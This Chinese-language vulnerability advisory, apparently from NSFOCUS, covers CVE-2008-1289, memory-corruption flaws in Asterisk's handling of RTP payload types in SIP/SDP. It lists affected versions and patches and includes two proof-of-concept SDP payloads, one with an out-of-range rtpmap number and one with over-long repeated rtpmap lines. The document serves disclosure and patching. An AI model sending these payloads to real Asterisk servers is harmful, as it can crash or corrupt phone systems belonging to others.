安全研究

安全漏洞
Asterisk RTP Codec负载处理多个溢出漏洞

发布日期:2008-03-18
更新日期:2008-03-20

受影响系统:
Asterisk Asterisk 1.6.x
Asterisk Asterisk 1.4.x
Asterisk Business Edition C.x.x
Asterisk AsteriskNOW 1.0.x
Asterisk Appliance Developer Kit SVN
Asterisk s800i 1.1.x
不受影响系统:
Asterisk Asterisk 1.6.0-beta6
Asterisk Asterisk 1.4.19-rc3
Asterisk Asterisk 1.4.18.1
Asterisk Business Edition C.1.6.1
Asterisk AsteriskNOW 1.0.2
Asterisk Appliance Developer Kit 1.4 revision 109386
Asterisk s800i 1.1.0.2
描述:
BUGTRAQ  ID: 28308
CVE(CAN) ID: CVE-2008-1289

Asterisk是开放源码的软件PBX,支持各种VoIP协议和设备。

Asterisk在处理带有畸形数据的请求时存在漏洞,如果在INVITE消息的SDP负载中发送了无效的RTP负载类型号的话,就会导致写入无效的内存位置,允许攻击者控制某些部分的内存。

无效的内存写入发生在process_line()(channels/chan_sip.c文件5275行)所调用的ast_rtp_unset_m_type()(main/rtp.c文件1655行)。ast_rtp_unset_mt_type()没有验证pt,而在ast_rtp_set_mt_type()(1642行)进行了验证。攻击者可以控制pt向很大的内存地址范围写入0。

如果在SIP INVITE消息的SDP负载发送了多于32个RTP负载类型数属性的话,就会覆盖栈缓冲区,允许攻击者控制写入的值。

在process_sdp()(channels/chan_sip.c文件4980行)中,rtpmap codecs存储到了32 int的数组found_rtpmap_codecs,映射中的codec数存储到了last_rtpmap_codec中。未经检查数组的大小便将Codec附加到了数组(5258行),最多为64(SIP_MAX_LINES)。攻击者可以向缓冲区后的内存位置写入0到256(MAX_RTP_PT)的值。

<*来源:Joshua Colp (jcolp@digium.com
  
  链接:http://marc.info/?l=bugtraq&m=120594125107491&w=2
        http://secunia.com/advisories/29426/
        http://labs.musecurity.com/advisories/MU-200803-01.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:780903144 PCMU/8000
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000


Example SDP payload:
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
[... repeat this line ...]
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000

建议:
厂商补丁:

Asterisk
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://downloads.digium.com/pub/telephony/asterisk
http://www.asterisknow.org/

浏览次数:2766
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障